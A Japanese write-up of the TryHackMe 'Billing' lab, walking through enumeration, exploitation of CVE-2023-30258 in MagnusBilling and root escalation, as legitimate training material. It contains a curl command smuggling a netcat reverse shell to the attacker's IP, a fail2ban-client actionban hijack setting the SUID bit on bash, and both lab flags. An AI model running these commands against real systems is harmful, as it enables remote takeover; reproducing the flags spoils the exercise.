【TryHackMe】Billing Writeup

# はじめに
今回は難易度がEasyである「[Billing](https://tryhackme.com/room/billing)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

# 環境
| 環境| IPアドレス |
| ---- | ---- |
| 攻撃マシン | 10.8.59.93 |
| ターゲットマシン | 10.10.136.175 |

# Task 1 Flags

ポートスキャンを行います。

```
└─$ nmap -Pn -T4 10.10.136.175
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-29 23:01 EDT
Nmap scan report for 10.10.136.175
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds
```

ブラウザでアクセスした所、特に何もなさそう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/f602b4d6-b25e-40df-aa7e-72144f772bde.png)

隠しディレクトリを探します。
```
└─$ gobuster dir -u http://10.10.136.175/mbilling/ -x html,php -w ../../usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.136.175/mbilling/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                ../../usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 30760]
/index.php            (Status: 200) [Size: 663]
/archive              (Status: 301) [Size: 325] [--> http://10.10.136.175/mbilling/archive/]
/resources            (Status: 301) [Size: 327] [--> http://10.10.136.175/mbilling/resources/]
/assets               (Status: 301) [Size: 324] [--> http://10.10.136.175/mbilling/assets/]
/lib                  (Status: 301) [Size: 321] [--> http://10.10.136.175/mbilling/lib/]
/cron.php             (Status: 200) [Size: 0]
/LICENSE              (Status: 200) [Size: 7652]
/tmp                  (Status: 301) [Size: 321] [--> http://10.10.136.175/mbilling/tmp/]
/protected            (Status: 403) [Size: 278]
```

「10.10.136.175/mbilling/lib/」の「icepay」が以下サイトよりcve-2023-30258に関する脆弱性であるとのこと。
https://www.rapid7.com/db/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/e663d74b-4cca-4754-b714-2d2e71a5d2d5.png)

以下サイトのエクスプロイトを使用します。
https://github.com/tinashelorenzi/CVE-2023-30258-magnus-billing-v7-exploit

まずnetcatで待ち受けを行います。
```
nc -lvnp 1234   
```

攻撃マシンに対してRCEを実行します。
```
curl -s 'http://10.10.136.175/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.59.93 1234 >/tmp/f;'
```

```
└─$ nc -lvnp 1234            
listening on [any] 1234 ...
connect to [10.8.59.93] from (UNKNOWN) [10.10.136.175] 44858
sh: 0: can't access tty; job control turned off
$
```

シェルのグレードを上げます。
```
$ python3 -c "import pty;pty.spawn('/bin/bash')"
asterisk@Billing:/var/www/html/mbilling/lib/icepay$  
```

## What is user.txt?

あるユーザ内のフォルダ内にフラグがあったので1つ目獲得になります。
```
asterisk@Billing:/home/magnus$ cat user.txt
cat user.txt
THM{4a6831d5f124b25eefb1e92e0f0da4ca}
```

## What is root.txt?
現ユーザが特権ユーザで実行可能なコマンドを確認します。

```
sasterisk@Billing:/home/magnus$sudo -l
sudo -l
Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client
```

fail2ban-clientは、Fail2Banの管理を行うためのコマンドラインツールで、そのFail2Banは不正アクセスやブルートフォース攻撃を検出し、自動的にIPアドレスをブロックするLinuxのセキュリティツールであるとのこと。

実行中のプロセスを確認した所、rootユーザとしてfail2ban-serverが実行されていました。

```
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ ps -aux | grep fail
ps -aux | grep fail
root         531  0.5  1.3 1167416 25880 ?       Ssl  02:42   0:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
asterisk    1344  0.0  0.0   6580   704 pts/0    S+   02:44   0:00 grep fail
```

次にfail2ban-serverのステータスを確認すると、8つのアクションがアクティブ状態である事が分かります。
```
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client status
<g/lib/icepay$  sudo /usr/bin/fail2ban-client status
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd
```

8つのアクションの設定を確認していた所、asterisk-iptablesにはRCE先へ攻撃を試みたIPをブロックする処理があるとのこと。
```
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables actions
<r/bin/fail2ban-client get asterisk-iptables actions
The jail asterisk-iptables has the following actions:
iptables-allports-ASTERISK
```

そのブロックを行う設定を、以下の通りroot権限でシェルを起動する設定にするコマンドへ変更します。
```
# 設定を確認
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<ptables action iptables-allports-ASTERISK actionban
<iptables> -I f2b-ASTERISK 1 -s <ip> -j <blocktype>

# 設定を変更
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
<es-allports-ASTERISK actionban 'chmod +s /bin/bash'
chmod +s /bin/bash

# 変更された設定を確認
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<ptables action iptables-allports-ASTERISK actionban
chmod +s /bin/bash
```

そのアクションを実行して、設定したコマンドを実行します。
アクションを行う方法として、手動でアクセス不可のIPを追加するコマンドがある為、それを実行します。

```
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.1.1.1
<fail2ban-client set asterisk-iptables banip 1.1.1.1
1
```

root権限でシェルを起動すると、rootへ昇格されました。
```
asterisk@Billing:/var/www/html/mbilling/lib/icepay$ /bin/bash -p
/bin/bash -p
bash-5.1# whoami
whoami
root
```

最後にフラグを獲得して完了となります。
```
bash-5.1# cat /root/root.txt 
cat /root/root.txt
THM{33ad5b530e71a172648f424ec23fae60}
```


# さいごに
以上となります。